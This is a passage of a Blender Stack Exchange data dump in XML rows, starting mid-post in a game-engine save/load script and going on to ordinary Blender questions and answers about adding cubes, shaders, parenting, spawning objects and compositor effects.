file.write(str(info))&#xA;            &#xA;            if string == &amp;quot;LKEY&amp;quot;:&#xA;                file = open(path+str(own)+&amp;quot;.txt&amp;quot;, &amp;quot;r&amp;quot;)&#xA;                line = file.readline().replace(&amp;quot;\n&amp;quot;,&amp;quot;&amp;quot;).split(&amp;quot;,&amp;quot;)&#xA;                var1 = int(line[0])&#xA;                var2 = int(line[1])&#xA;            &#xA;            if string == &amp;quot;AKEY&amp;quot;:&#xA;                var1 += 1&#xA;                var2 += 2&#xA;    &#xA;    own[&amp;quot;prop&amp;quot;] = var1&#xA;    own[&amp;quot;prop0&amp;quot;] = var2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;&lt;/h1&gt;&#xA;&lt;h3&gt;For Game Properties&lt;/h3&gt;&#xA;&lt;p&gt;This script needs to be set up the same way as the variable script, but yet again you do have the option to change it to your needs.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;path = logic.expandPath(&amp;quot;//SaveLoad/&amp;quot;)&#xA;&#xA;cont = logic.getCurrentController()&#xA;own = cont.owner&#xA;keys = cont.sensors[&amp;quot;Keyboard&amp;quot;]&#xA;&#xA;### Use keyboard&#xA;for key,status in keys.events:&#xA;    if status == logic.KX_INPUT_JUST_ACTIVATED:&#xA;        string = bge.events.EventToString(key)&#xA;        &#xA;        ### Save &amp;quot;prop&amp;quot; and &amp;quot;prop0&amp;quot; to file&#xA;        if string == &amp;quot;SKEY&amp;quot;:&#xA;            info = str(own[&amp;quot;prop&amp;quot;])+&amp;quot;,&amp;quot;+str(own[&amp;quot;prop0&amp;quot;])&#xA;            file = open(path+str(own)+&amp;quot;.txt&amp;quot;, &amp;quot;w&amp;quot;)&#xA;            file.write(str(info))&#xA;        &#xA;        ### Load &amp;quot;prop&amp;quot; and &amp;quot;prop0&amp;quot; from file&#xA;        if string == &amp;quot;LKEY&amp;quot;:&#xA;            file = open(path+str(own)+&amp;quot;.txt&amp;quot;, &amp;quot;r&amp;quot;)&#xA;            line = file.readline().replace(&amp;quot;\n&amp;quot;,&amp;quot;&amp;quot;).split(&amp;quot;,&amp;quot;)&#xA;            own[&amp;quot;prop&amp;quot;] = int(line[0])&#xA;            own[&amp;quot;prop0&amp;quot;] = int(line[1])&#xA;        &#xA;        ### Change values&#xA;        if string == &amp;quot;AKEY&amp;quot;:&#xA;            own[&amp;quot;prop&amp;quot;] += 1&#xA;            own[&amp;quot;prop0&amp;quot;] += 1.3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-31T20:23:52.927" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21587" PostTypeId="2" ParentId="21585" CreationDate="2014-12-31T20:57:04.473" Score="1" Body="&lt;p&gt;This is because the alpha channel is not completely opaque on the other parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X0dq8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mix shader uses the top slot where the &lt;em&gt;Factor&lt;/em&gt; input is 0, and the bottom slot where the &lt;em&gt;Factor&lt;/em&gt; is 1. When the &lt;em&gt;Factor&lt;/em&gt; is between 0 and 1, it will mix the two accordingly. See &lt;a href=&quot;https://blender.stackexchange.com/q/10595/599&quot;&gt;How does fac differ with manual control versus node control?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick fix you could do in this case is use a &lt;em&gt;Math&lt;/em&gt; node with the operation set to &lt;em&gt;Greater than&lt;/em&gt; to make the factor only have an input of 0 or 1, never a value in between:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RlmSJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-12-31T20:57:04.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21588" PostTypeId="1" CreationDate="2014-12-31T22:18:09.040" Score="0" ViewCount="765" Body="&lt;p&gt;In the Tool Shelf&gt;Options Tab&gt;Appearance&gt;Show Brush(checked)&gt;Subtract, I have set the color to blue because it is what I am used to in ZBrush. For some reason though, when I hold down Shift to smooth I get a white circle instead of the blue color that I set. Am I seeing a bug or doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2017-04-22T19:28:44.860" Title="My Blender sculpt brush subtract mode color is set to blue but shows white instead. Why is that?" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21589" PostTypeId="1" AcceptedAnswerId="21595" CreationDate="2015-01-01T00:53:25.457" Score="22" ViewCount="22541" Body="&lt;p&gt;I am trying to add cubes to my scene. I'm sure there are lots of ways to get a cube into the scene (but for the purposes of this question, &lt;em&gt;I have no idea what they are&lt;/em&gt;) - Are there any ways to add a cube that are easier than using the python console and manually adding them by using this command?   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cube_add()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2016-12-20T05:28:06.443" LastActivityDate="2021-05-03T01:04:39.733" Title="How can I add a cube?" Tags="&lt;python&gt;&lt;modeling&gt;&lt;objects&gt;&lt;workflow&gt;" AnswerCount="13" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21590" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T00:54:06.933" Score="6" Body="&lt;p&gt;You can use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;mesh&lt;/em&gt;&gt;&lt;em&gt;cube&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PZifj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-01T00:54:06.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21591" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T00:56:42.970" Score="6" Body="&lt;p&gt;You can use the add menu at the bottom right coner of the 3d view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGJ7P.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-01T00:56:42.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21592" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:02:59.353" Score="7" Body="&lt;p&gt;you can also get more cubes in your scene by selecting the default cube (if you already edited and/or deleted the default cube then you must add another cube), and pressing &lt;kbd&gt; Shift &lt;/kbd&gt;&lt;kbd&gt; D &lt;/kbd&gt; to duplicate it. Or you can select &lt;kbd&gt; Alt &lt;/kbd&gt;&lt;kbd&gt; D &lt;/kbd&gt; to make another instance of the default cube that will remain editable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the default objects can be found here, In nice color and with good lighting. All of which is packed into a nice scene with &lt;em&gt;GLSL&lt;/em&gt; shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/146/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A0Yy9.png&quot; alt=&quot;enter image description here&quot; title=&quot;C#15 Layer 7&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6t18M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-04-01T20:57:47.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21593" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:04:41.553" Score="6" Body="&lt;p&gt;You can use the create tab in the tools panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t4AMe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-01T01:04:41.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21595" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:11:08.373" Score="27" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;from random import randint&#xA;bpy.ops.mesh.primitive_cube_add()&#xA;&#xA;#how many cubes you want to add&#xA;count = 10&#xA;&#xA;for c in range(0,count):&#xA;    x = randint(-10,10)&#xA;    y = randint(-10,10)&#xA;    z = randint(-10,10)&#xA;    bpy.ops.mesh.primitive_cube_add(location=(x,y,z))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run this script in the &lt;em&gt;Text Editor&lt;/em&gt; with the &lt;em&gt;Run Script&lt;/em&gt; button.&lt;br&gt;&#xA;The var &lt;em&gt;count&lt;/em&gt; controls how many cubs will be added.&lt;br&gt;&#xA;The three vars x, y, and z are random numbers for the placement of the cubes. Change the sets of numbers, to change the range where the cubes can be added on each axes.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-01T01:11:08.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21596" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:21:00.100" Score="13" Body="&lt;p&gt;If you need a more specific shape for you distributed cubes, you can use a particle system.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a cage that will contain all the cubes.&lt;/li&gt;&#xA;&lt;li&gt;Add a particle system set it to &lt;em&gt;Hair&lt;/em&gt; then set to &lt;em&gt;Advanced&lt;/em&gt;, and set the &lt;em&gt;Emit From&lt;/em&gt; to &lt;em&gt;Volume&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;em&gt;Dupli Object&lt;/em&gt; under the &lt;em&gt;Render&lt;/em&gt; section to the cube that you want to distribute.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntJbP.png&quot; alt=&quot;particle system settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-01-01T01:26:14.900" LastActivityDate="2015-01-01T01:26:14.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21597" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:23:51.013" Score="9" Body="&lt;p&gt;Another option would be to duplicate the cubes by a particle system, you didn't mention how the cubes should be arranged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cubes on cubes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QsTXT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or some other shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9vxSo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-01T01:23:51.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21598" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:38:58.943" Score="7" Body="&lt;p&gt;You can also do this by saving a scene with the default objects such as this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/146/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=146&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click File&gt;Append&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQIHt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select the file that has the cube you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jBKiI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select the folder for objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bem3z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select the cube you want to copy. in this case it is called &quot;cube&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C0LhP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will add append the cube form your other file.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-16T01:49:17.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21599" PostTypeId="2" ParentId="21589" CreationDate="2015-01-01T01:39:22.843" Score="10" Body="&lt;p&gt;My personal favorite is the array modifier. Simply add the modifier to any cube and set the amount you want and &lt;em&gt;BAM!&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e8bPV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple arrays in union can be used to quickly create thousands of cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hoJ6s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-01T01:39:22.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21600" PostTypeId="2" ParentId="516" CreationDate="2015-01-01T01:54:56.917" Score="3" Body="&lt;p&gt;If you already have your mesh separated and applied different shaders to each, simply rejoing (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. Then &lt;kbd&gt;Tab&lt;/kbd&gt; into edit-mode and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;&gt;&lt;em&gt;remove doubles&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-01T01:54:56.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21601" PostTypeId="2" ParentId="14932" CreationDate="2015-01-01T02:05:22.960" Score="1" Body="&lt;p&gt;There are several ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First:&#xA;Using the Cycles render engine, this is now extremely easy. You can use the node setup below, with which you can control how opaque the faces are, and the color of the edges.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MvtzG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another easy way to do this, is to use the &lt;em&gt;Wirefame&lt;/em&gt; modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cKGAU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will alter the mesh to show a mesh along the edges of the base mesh, and will not render any faces. This works in viewport, BI and Cycles. Notice that you may need to get a more recent version of Blender depending on your current build.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-01T02:05:22.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21602" PostTypeId="1" CreationDate="2015-01-01T08:50:59.213" Score="3" ViewCount="385" Body="&lt;p&gt;Parent offset in Blender is difficult to understand, because there are obscured values that determine the outcome of user operations. See &lt;a href=&quot;https://blender.stackexchange.com/questions/3763/parenting-messes-up-transforms-where-is-the-offset-stored&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools/addons to help with this? For example, a replacement parenting/reparenting function, or even a tool to simply display the internal values, to aid in understanding what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondary question, is there a stated or obvious reason for this seemingly intentional operational obfuscation? Is it something worth my time in seeking to drive change or offer to help change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've worked with it for a while, and it now makes perfect sense to you, let me remind you of where others might be coming from. Here's a sample .blend I'm currently looking at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/etpUA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these are simple, visibly identical plain cube meshes with identical rotation, and the object origin at the mesh center of each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters, note that both D and C report translations of 0, 0, 0, and yet are in different locations, both in world space AND relative to their parent. How odd, I think. However, the real confusion is when I try to actually make parenting changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know that there are various operations to unparent, keep transform, clear parent inverse, and set parent. However despite my goal of transferring the child relationship of D from parent A to parent B, nothing results in a destination of H. Various operations result in G, F, and E.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that if, historically I've moved something, I might be building objects with defects that cannot be measured through the UI. I had just this scenario recently. Rotations and multiple duplicates were involved, and I had to redo lots of work to get things properly aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me it was a cautionary tale of &quot;be very paranoid of where things were historically&quot;, but that doesn't seem like an ideal lesson for me to learn. Or, maybe I'm just doing something else wrong.&lt;/p&gt;&#xA;" OwnerUserId="9734" LastActivityDate="2015-01-01T20:19:53.717" Title="Why isn't parent offset visible? Any tools to help?" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21603" PostTypeId="2" ParentId="43" CreationDate="2015-01-01T11:07:02.167" Score="13" Body="&lt;p&gt;You can also go into the camera view &lt;kbd&gt;Numpad 0&lt;/kbd&gt;, open the Properties panel, with &lt;kbd&gt;N&lt;/kbd&gt;, and then check 'Lock active camera to view'. Doing this will allow you to use the same navigation methods you would use on the viewport, but will also move the camera, accordingly.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-01T11:07:02.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21604" PostTypeId="1" CreationDate="2015-01-01T14:53:38.270" Score="0" ViewCount="55" Body="&lt;p&gt;I am trying to figure out how if there is an easy way in Blender Cycles to UV Project an image and nave it so it only appears once across the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached a screen shot of the bottom corner of a rectangular plane where I want to project the image, but only have it appear on the front face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the image is currently repeating and tiling onto the sides and back of the mesh. I want to eventually have the material appear as glass and be semi transparent. having the image tile across the back will become problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://media-cache-ec0.pinimg.com/originals/31/b2/af/31b2af5cb60f55ec581b6e5a85ccad57.jpg&quot; alt=&quot;Pinterest image of screen shot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9753" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.943" LastActivityDate="2015-01-01T14:53:38.270" Title="Cycles Material: How to make a UV image not tile?" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-01T16:37:45.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="21605" PostTypeId="1" AcceptedAnswerId="21649" CreationDate="2015-01-01T16:34:49.797" Score="5" ViewCount="2480" Body="&lt;p&gt;I know how to use the Add Object actuator to add an object while the game is running, but the angular velocity is not affecting the mesh. Is there something else I should have done as well? Workarounds that access the mesh and assign a velocity after creation are fine as well, but no python would be preferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.72, the objects are added correctly when I press the button, and the added objects also respond to physics when colliding with each other. Just the initial velocity is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current Logic setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AOMhC.jpg&quot; alt=&quot;logic bricks&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="2217" LastEditDate="2015-01-01T17:49:15.067" LastActivityDate="2015-06-10T01:03:53.130" Title="How can I spawn a moving object in BGE?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;logic-bricks&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21606" PostTypeId="1" AcceptedAnswerId="21617" CreationDate="2015-01-01T16:44:23.630" Score="2" ViewCount="257" Body="&lt;p&gt;I can print a vertex in Blender, but how do i do basic math operation; &#xA;Like add multiply or divide them with other 3d coordinates ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As here the last line doesnt work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      for face in current_obj.data.polygons:&#xA;           verts_in_face = face.vertices[:]&#xA;           print(&quot;face index&quot;, face.index)&#xA;           print(&quot;normal&quot;, face.normal)&#xA;      for vert in verts_in_face:&#xA;           local_point = current_obj.data.vertices[vert].co&#xA;           total_points = total_points + local_point  # &amp;lt;&amp;lt;&amp;lt; error here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6105" LastActivityDate="2015-01-01T21:44:37.280" Title="Blender python math operations on vertex" Tags="&lt;python&gt;&lt;units&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21607" PostTypeId="2" ParentId="21605" CreationDate="2015-01-01T17:33:41.673" Score="5" Body="&lt;p&gt;You can simply add this logic on to your object that will be added via the &lt;em&gt;Edit Object&lt;/em&gt; actuator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eg1kr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eg1kr.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;All you need is a &lt;em&gt;Always&lt;/em&gt; sensor triggering a &lt;em&gt;Motion&lt;/em&gt; actuator. Set the motion to be local, with the &lt;em&gt;L&lt;/em&gt; button.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-01T17:33:41.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21608" PostTypeId="2" ParentId="21605" CreationDate="2015-01-01T17:47:59.007" Score="1" Body="&lt;p&gt;After some trial-and-error, I have found a solution. Apparently the physics sim 'freezes' the spawned object inside of the spawning object, making it incapable of moving. What you need to do is use an empty. The same logic setup can be used as in the question. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-01T17:47:59.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21609" PostTypeId="1" CreationDate="2015-01-01T17:52:13.530" Score="1" ViewCount="817" Body="&lt;p&gt;I have a ball with a rigidbody and it has fluid with a type obstacle. But when it falls in the water I don't get a splash or anything. What I want to happen would be the ball to fall in the water, splash and also maybe the ball float a bit. How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorDisplayName="user1853" LastEditDate="2016-05-02T03:25:21.660" LastActivityDate="2016-05-02T03:25:21.660" Title="How to create splash of a ball falling on water?" Tags="&lt;rigid-body-simulation&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21610" PostTypeId="1" CreationDate="2015-01-01T18:07:24.587" Score="1" ViewCount="33" Body="&lt;p&gt;I have a particular file in which renders are no longer updating according to changes to the model. The render output is far quicker than normal, and the Render Results show several users. Does anyone have suggestions? Thx for any help!&lt;/p&gt;&#xA;" OwnerUserId="9755" LastActivityDate="2015-01-01T18:07:24.587" Title="Rendering stopped updating" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21612" PostTypeId="2" ParentId="21501" CreationDate="2015-01-01T18:46:16.290" Score="2" Body="&lt;p&gt;I found a way to keep the unconverted particle system by enabling rotation and setting the initial orientation to normal (The conversion to mesh brought some performance issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When rotation is unchecked again, the emitted leaves don't start to rotate again. It seems that Blender (v2.71) does some initialization here which is not done otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oVhPe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-01T18:46:16.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21613" PostTypeId="1" CreationDate="2015-01-01T19:50:16.757" Score="4" ViewCount="563" Body="&lt;p&gt;When I use View &gt; View Local/Global and I will returning to Global, it will also change my position of camera. It is so annoying. I want stay on same position without any change. Is there any script or something so that camera stay in position?&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2015-01-01T19:50:16.757" Title="Global / Local View is returning view" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21614" PostTypeId="2" ParentId="21602" CreationDate="2015-01-01T20:00:27.353" Score="2" Body="&lt;p&gt;I'm not use that I understand the question. But it seems to me that instead of using the parenting tool, you might want to look into an interactive and non destructive workflow using &lt;strong&gt;constraints&lt;/strong&gt;&#xA;like &lt;em&gt;Copy location, Child Of&lt;/em&gt; and &lt;em&gt;Copy Transforms&lt;/em&gt; You'll have very clear control on the influence and is quite easy to create complex parent-children hierarchies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/101Eu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-01T20:19:53.717" LastActivityDate="2015-01-01T20:19:53.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21615" PostTypeId="1" CreationDate="2015-01-01T20:12:59.133" Score="3" ViewCount="397" Body="&lt;p&gt;I am trying to do a short video intro. The camera will follow a straight path through a circle, then I want the screen to flash completely white. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the camera set up to follow the path. Now how do I make the screen flash white?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want the screen to go completely white. Doesn't have to be fancy right now. I guess from a circle in the middle that quickly grows to fill the screen. &lt;/p&gt;&#xA;" OwnerUserId="9756" LastEditorUserId="9756" LastEditDate="2015-01-01T20:57:38.633" LastActivityDate="2015-01-01T21:37:44.827" Title="How to white out screen with a flare" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="21616" PostTypeId="2" ParentId="21615" CreationDate="2015-01-01T21:37:44.827" Score="7" Body="&lt;p&gt;This can be done very easily in the compositor. I am using the Cycles node set in this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and add an &lt;em&gt;Ellipse Mask&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVexk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same for a &lt;em&gt;Blur&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLGjM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then hook up the nodes as shown. Animate the Width and Height values by keyframes to animate the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCvdm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your render size you may need to adjust the blur size, but this should get you on the right track.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-01T21:37:44.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
